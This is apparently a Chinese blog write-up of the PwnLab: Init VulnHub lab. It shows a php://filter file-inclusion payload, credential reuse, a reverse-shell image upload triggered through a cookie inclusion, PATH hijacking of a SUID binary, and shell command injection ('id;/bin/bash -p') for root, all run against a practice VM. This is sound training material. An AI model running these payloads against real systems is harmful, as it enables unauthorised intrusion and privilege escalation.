vulnhub靶机渗透:PWNLAB: INIT

PWNLAB: INIT

  • 靶机环境介绍
  • nmap扫描
    • 端口扫描
    • 服务扫描
    • 漏洞扫描
    • 扫描总结
  • 80端口
    • 目录爆破
    • LFI利用
  • 3306端口
  • 回到80端口
    • 文件上传
  • 获得立足点
  • 横向移动
  • 提权
  • 总结
  • 参考

靶机环境介绍

https://www.vulnhub.com/entry/skytower-1,96/
在这里插入图片描述

靶机IP:192.168.56.103
kali IP:192.168.56.102

nmap扫描

端口扫描

# Nmap 7.93 scan initiated Mon Jul 10 02:36:32 2023 as: nmap -Pn --min-rate=10000 -p- -oN nmap/ports 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3306/tcp  open  mysql
39285/tcp open  unknown
MAC Address: 08:00:27:4E:3E:AA (Oracle VirtualBox virtual NIC)

# Nmap done at Mon Jul 10 02:36:47 2023 -- 1 IP address (1 host up) scanned in 15.95 seconds

服务扫描

# Nmap 7.93 scan initiated Mon Jul 10 02:38:36 2023 as: nmap -sVC -O -p80,111,3306,39285 -oN nmap/details 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39285/tcp   status
|   100024  1          41776/tcp6  status
|   100024  1          50160/udp6  status
|_  100024  1          54782/udp   status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 41
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, InteractiveClient, LongColumnFlag, LongPassword, SupportsTransactions, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: *}^>W|+\o;t[H7z$@UlA
|_  Auth Plugin Name: mysql_native_password
39285/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:4E:3E:AA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 10 02:38:57 2023 -- 1 IP address (1 host up) scanned in 24.39 seconds

漏洞扫描

# Nmap 7.93 scan initiated Mon Jul 10 02:38:36 2023 as: nmap -sVC -O -p80,111,3306,39285 -oN nmap/details 192.168.56.103
Nmap scan report for 192.168.56.103
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39285/tcp   status
|   100024  1          41776/tcp6  status
|   100024  1          50160/udp6  status
|_  100024  1          54782/udp   status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 41
|   Capabilities flags: 63487
|   Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, InteractiveClient, LongColumnFlag, LongPassword, SupportsTransactions, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsCompression, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: *}^>W|+\o;t[H7z$@UlA
|_  Auth Plugin Name: mysql_native_password
39285/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:4E:3E:AA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 10 02:38:57 2023 -- 1 IP address (1 host up) scanned in 24.39 seconds

扫描总结

通过阅读nmap扫描结果,发现开放了80,111,3306,39285端口,由于111和39285都是rpc服务,这里先渗透80端口,然后再3306端口。

80端口

边浏览网页,边进行目录爆破。

目录爆破

┌──(kali㉿kali)-[~/oscp/14.PWNLAB-INIT]
└─$ sudo gobuster dir --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,rar,txt,html,jsp,zip -u http://192.168.56.103 | tee gobuster.log
[sudo] kali 的密码:
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.103
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,rar,html,jsp,zip
[+] Timeout:                 10s
===============================================================
2023/07/11 02:54:56 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 332]
/.html                (Status: 403) [Size: 294]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.103/images/]
/.php                 (Status: 403) [Size: 293]
/login.php            (Status: 200) [Size: 250]
/upload               (Status: 301) [Size: 317] [--> http://192.168.56.103/upload/]
/upload.php           (Status: 200) [Size: 19]
/config.php           (Status: 200) [Size: 0]
/.html                (Status: 403) [Size: 294]
/.php                 (Status: 403) [Size: 293]
/server-status        (Status: 403) [Size: 302]
Progress: 1543911 / 1543927 (100.00%)
===============================================================
2023/07/11 03:00:38 Finished
===============================================================

通过阅读网页,源码没发现什么有效信息,登录界面尝试使用万能密码和默认凭据是,发现无法成功,但通过访问login页面和upload页面,发现url可能存在文件包含。于是接下来尝试使用php伪协议进行利用。
在这里插入图片描述

LFI利用

由于网站里使用的文件包含会立即执行php代码,所以这里需要将其编码,这样才会显示出来,所以使用这个php://filter,而这个的具体构造语句如下:?file=php://filter/read=convert.base64-encode/resource=文件路径
在这里插入图片描述
拿去解码,将解码后的保存到本地。在这里插入图片描述通过之前浏览网站,需要获取的文档有以下几个:index,login,upload,对保存下来的php代码进行审计,首先是index,比较感兴趣的是这个,他通过cookie,包含了lang的参数,需要留意。
在这里插入图片描述
然后是login,这里比较感兴趣的是:
在这里插入图片描述
这里需要用到config.php,同样使用伪协议http://192.168.56.103/?page=php://filter/read=convert.base64-encode/resource=config(不知道为什么这里使用config.php无法显示,而使用config可以)下载到编码后的代码,解码后保存。
在这里插入图片描述
在这里插入图片描述
最后是uploads,这里写了上传的限制,需要绕过的话还需要仔细阅读,这里先尝试获取凭据登录,这样才会到这一步。
在这里插入图片描述

在上面的config.php中获得一个root凭据,尝试登录web端页面,发现无效。于是联想到开放了3306端口,尝试登录。发现成功。

3306端口

在这里插入图片描述发现三个用户,发现密码进行base64编码,解码!
在这里插入图片描述
尝试使用以上凭据登录,发现能成功,这样就进行到上传文件阶段啦。

回到80端口

文件上传

通过代码审计,发现只能上传白名单中的后缀名的文件,且需要有mime文件头。
这里通过构造文件。通过抓包查看数据,在文件的最后我插入了反弹shell。
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

上传成功,但是如何执行这个反弹shell呢?还是通过代码审计,在之前的index文件中,发现通过包含cookie中的lang值,可以进行php解析。
在这里插入图片描述
这里构造cookie时记得返回上一级。

获得立足点

在这里插入图片描述
在这里插入图片描述
查看passwd文件,发现存在之前在mysql中查询到的用户,这里尝试切换用户,发现报错,使用python提升一下交互性。

www-data@pwnlab:/var/www/html$ su su kent
su kent
su: must be run from a terminal

www-data@pwnlab:/var/www/html$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"

横向移动

切换用户到kent,回到/home/kent未发现有用信息,切换到mike,发现验证错误,于是尝试切换到kane,成功,进入/home/kane,发现存在msg2mike。

kent@pwnlab:~$ su mike      
su mike
Password: SIfdsTEn6I

su: Authentication failure
kent@pwnlab:~$ su kane       
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/home/kent$ cd /home/kane      
cd /home/kane
kane@pwnlab:~$ ls    
msgmike
kane@pwnlab:~$ ls -liah       ls -liah
ls -liah
total 32K
   65 drwxr-x--- 2 kane kane 4.0K Jul 11 11:19 .
 1558 drwxr-xr-x 6 root root 4.0K Mar 17  2016 ..
30347 -rw------- 1 kane kane  164 Jul 11 10:44 .bash_history
   78 -rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
   73 -rw-r--r-- 1 kane kane 3.5K Mar 17  2016 .bashrc
27221 -rwsr-sr-x 1 mike mike 5.1K Mar 17  2016 msgmike
   75 -rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile

发现msgmikes权限文件。先使用strings文件查看内容。
在这里插入图片描述
这里发现它使用了cat命令,但是没有使用绝对路径,可以尝试命令劫持。

kane@pwnlab:~$ echo $$        # 查看shell的process id
echo $$
5041
kane@pwnlab:~$ echo "/bin/bash" >/tmp/cat # 将 /bin/bash 写入/tmp/cat中
echo "/bin/bash" > /tmp/cat
kane@pwnlab:~$ echo $PATH    # 查看当前$PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ export PATH=/tmp:$PATH # 将/tmp路径放到$PATH最前面
export PATH=/tmp:$PATH
kane@pwnlab:~$ echo $PATH     # 查看修改后的$PATH
echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ./msgmike      # 执行msgmike
./msgmike
mike@pwnlab:~$ echo $$       # 查看shell的process id ,发现已经不同了 说明这里已经成功了
echo $$
5055
mike@pwnlab:~$ whoami      # 发现已经是mike用户了
whoami
mike
mike@pwnlab:~$ whoami    
whoami
mike
mike@pwnlab:~$ cd /home/mike 
cd /home/mike

mike@pwnlab:/home/mike$ ls -liah  
ls -liah
total 28K
   63 drwxr-x--- 2 mike mike 4.0K Mar 17  2016 .
 1558 drwxr-xr-x 6 root root 4.0K Mar 17  2016 ..
   74 -rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
   70 -rw-r--r-- 1 mike mike 3.5K Mar 17  2016 .bashrc
27220 -rwsr-sr-x 1 root root 5.3K Mar 17  2016 msg2root
   71 -rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile

使用strings 查看msg2root内容,
在这里插入图片描述
发现执行了该命令,/bin/echo %s >> /root/messages.txt 这句话是将语句输入到/root/messages.txt,那如果语句是这个id;id;呢?那就会变成/bin/echo id;id; >> /root/messages.txt ,会输出id的内容!
尝试一下,思路是否正确。

mike@pwnlab:/home/mike$ ./msg2root       
./msg2root
Message for root: id;id;
id;id;
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)

成功了,还是root用户!

提权

既然是root用户, 那就起一个bash环境。

mike@pwnlab:/home/mike$ ./msg2root         
./msg2root
Message for root: id;/bin/bash -p
id;/bin/bash -p
id
bash-4.3# echo $PATH # 这里记得将$PATH修改回去,因为之前修改的cat和$PATH可能还会生效,下面是我修改后的
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
bash-4.3# whoami
whoami
root
bash-4.3# uname -a
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
bash-4.3# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:4e:3e:aa brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe4e:3eaa/64 scope link 
       valid_lft forever preferred_lft forever
bash-4.3# cat /root/flag.txt
cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

总结

1、发现文件上传漏洞时,可以使用php伪协议等获取源码,见参考1;
2、需要具备代码审计能力,文件上传绕过等还需要加强;
3、发现凭据时,要进行密码碰撞,不要仅仅局限在某个服务上;
4、获取某用户shell后,应该回到其家目录下寻找有用信息;
5、出现su: must be run from a terminal等情况,应该使用python的pty提高shell交互性;
6、发现可执行文件时,可以使用strings工具查看其内容;
7、命令劫持时,需要修改$PATH变量,可以通过$$查看当前SHELL的PID;
8、发现shell语句时,要想办法绕过,例如/bin/echo %s >> /root/messages.txt,可以使用分隔符结束命令,然后写入其他命令。

参考

1、https://blog.csdn.net/qq_53079406/article/details/125915640
2、https://cyberchef.org/
3、https://www.bilibili.com/video/BV13c411V7dY

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/37358.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux信号机制

转自&#xff1a;深入理解Linux信号机制(1.0)_城中之城的博客-CSDN博客 一、信号机制概览 相信大家对信号并不陌生&#xff0c;很多人都用过kill命令或者CtrlC组合键杀死过进程&#xff0c;或者遇到过程序因为收到SIGSEGV信号而崩溃的。而对信号的基本原理&#xff0c;估计很…

含多类型充电桩的电动汽车充电站优化配置方法(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

cloud Alibab+nacos+gateway集成swaggerui,统一文档管理(注意点)

首先说明&#xff1a;本文只说整合注意点 效果图和功能参考链接 1.使用gateway访问nacos服务&#xff0c;503 在网关服务添加依赖即可解决 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-openfeign&…

一款玩法十分经典的RPG游戏《QQ宠物大乐斗2》

文章目录 1.介绍2.界面介绍2.1游戏主界面&#xff1a;2.2出城界面&#xff1a; 3.战斗系统3.1主动战斗3.2被动战斗 4.技能系统4.1主动技能4.2被动技能4.3五神技狂龙傲天拳惊天混元掌灵气寒霜指道威无极真气八卦迷踪腿 5.道具系统6.装备系统6.1装备品质6.2装备展示6.3装备获得方…

MySQL---表数据高效率查询(简述)

目录 前言 一、聚合查询 &#x1f496;聚合函数 &#x1f496;GROUP BY子句 &#x1f496;HAVING 二、联合查询 &#x1f496;内连接 &#x1f496;外连接 &#x1f496;自连接 &#x1f496;子查询 &#x1f496;合并查询 &#x1f381;博主介绍&#xff1a;博客名…

C++之重写基类虚函数添加override区别(一百六十二)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

C#打印十六进制的代码

代码为&#xff1a; for (int k0; k<16; k) {Console.Write($"{buf[k]:X2}_"); } System.Console.Write("\n"); 输出效果如下&#xff1a;

Ceph 存储(最详细!)

目录 一&#xff1a;存储基础 1、单机存储设备 &#xff08;1&#xff09;DAS&#xff08;直接附加存储&#xff0c;是直接接到计算机的主板总线上去的存储&#xff09; &#xff08;2&#xff09;NAS&#xff08;网络附加存储&#xff0c;是通过网络附加到当前主机文件系统…

奇迹MU架设教程:SQL Server 2008数据库的安装教程

不管是搭建什么游戏&#xff0c;都是有数据库的&#xff0c;奇迹MU用的是SQL 数据库&#xff0c;根据服务器系统选择SQL server版本&#xff0c;我比较喜欢用Windows server 2008R2系统&#xff0c;所以我安装的是SQL server 2008。作为架设奇迹很重要的数据库程序&#xff0c;…

暑假第七天打卡

离散&#xff1a; 主析取范式和主合取范式的应用&#xff1a; &#xff08;1&#xff09;求公式成真与成假赋值&#xff1a; 化为主析取范式后&#xff0c;下标化为二进制就是成真赋值&#xff0c;不在下标里的就是成假赋值 化为主合取范式后&#xff0c;下标化为二进制就是…

【C++】模板(函数模板与类模板)讲解

本篇文章会对C中的模板进行讲解&#xff0c;其中会对函数模板和类模板进行讲解。希望本篇文章会对你有所帮助。 文章目录 一、函数模板 1、1 模板的引入 1、2 函数模板举例讲解 1、2、1 函数模板的概念 1、2、2 函数模板格式 1、2、3 函数模板实例化 1、2、4 模板参数的匹配原则…

栈--C语言实现数据结构

本期带大家一起用C语言实现栈&#x1f308;&#x1f308;&#x1f308; 一、栈的概念&#x1f30e; 栈是一种常见的数据结构&#xff0c;它遵循后进先出&#xff08;Last In, First Out&#xff09;的原则。可以将其类比为现实生活中的一摞书或者一叠盘子。 栈由一个连续的内…

Mac环境下安装nginx并本地部署项目

1、前提 必须安装了homebrew&#xff0c;可在终端输入命令brew -v查看是否已经安装&#xff0c;如果输入指令出现版本号说明已经安装成功 如果未安装先安装&#xff08;homebrew官网地址&#xff09; /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/H…

神经网络之VGG

目录 1.VGG的简单介绍 1.2结构图 3.参考代码 VGGNet-16 架构&#xff1a;完整指南 |卡格尔 (kaggle.com) 1.VGG的简单介绍 经典卷积神经网络的基本组成部分是下面的这个序列&#xff1a; 带填充以保持分辨率的卷积层&#xff1b; 非线性激活函数&#xff0c;如ReLU&a…

1、Redis入门与应用

Redis入门与应用 Redis的技术全景 Redis一个开源的基于键值对&#xff08;Key-Value&#xff09;NoSQL数据库。使用ANSI C语言编写、支持网络、基于内存但支持持久化。性能优秀&#xff0c;并提供多种语言的API。 我们要首先理解一点&#xff0c;我们把Redis称为KV数据库&am…

优化SQL查询实现高效数据检索(一)

大家好&#xff0c;SQL&#xff08;结构化查询语言&#xff09;可以帮助大家从数据库中收集数据&#xff0c;它是专为此而设计的&#xff0c;换句话说&#xff0c;它使用行和列来处理数据&#xff0c;让使用者能够使用SQL查询来操作数据库中的数据。 SQL查询 SQL查询是一系列…

Nginx Linux安装

参考 : http://test.runoob.com/w3cnote/nginx-install-and-config.html 点击跳转 下载安装包 - 这里选择的是 nginx-1.6.3 pgp 网址 : http://nginx.org/en/download.html 点击跳转 2. 上传Linux - 这里新建了临时文件夹 mkdir /usr/local/tmp 3. 解压 tar -zxvf nginx-1.6.…

Springcloud基础(4)-Ribbon负载均衡

负载均衡 1. Ribbon简单描述2. 在SpringCloud中查看相关处理源码3. ribbon的默认策略&#xff0c;懒加载3. 实操中的相关问题 1. Ribbon简单描述 Spring Cloud Ribbon 是一套基于 Netflix Ribbon 实现的客户端负载均衡和服务调用工具。Ribbon是Netflix发布的开源项目&#xff0…

手机快充协议

高通:QC2.0、QC3.0、QC3.5、QC4.0、QC5.0、 FCP、SCP、AFC、SFCP、 MTKPE1.1/PE2.0/PE3.0、TYPEC、PD2.0、PD3.0/3.1、VOOC 支持 PD3.0/PD2.0 支持 QC3.0/QC2.0 支持 AFC 支持 FCP 支持 PE2.0/PE1.1 联发科的PE&#xff08;Pump Express&#xff09;/PE 支持 SFCP 在PP…

火车头小发猫AI伪原创[php源码]

对于大多数站长来说&#xff0c;有点困难&#xff0c;但是如果他们不知道如何原创&#xff0c;我们不知道如何伪原创吗&#xff1f;我把我常用的伪原创的方法列出来&#xff0c;希望对大家有所帮助。 使用教程&#xff1a;火车头采集器AI伪原创 <?php header("Conte…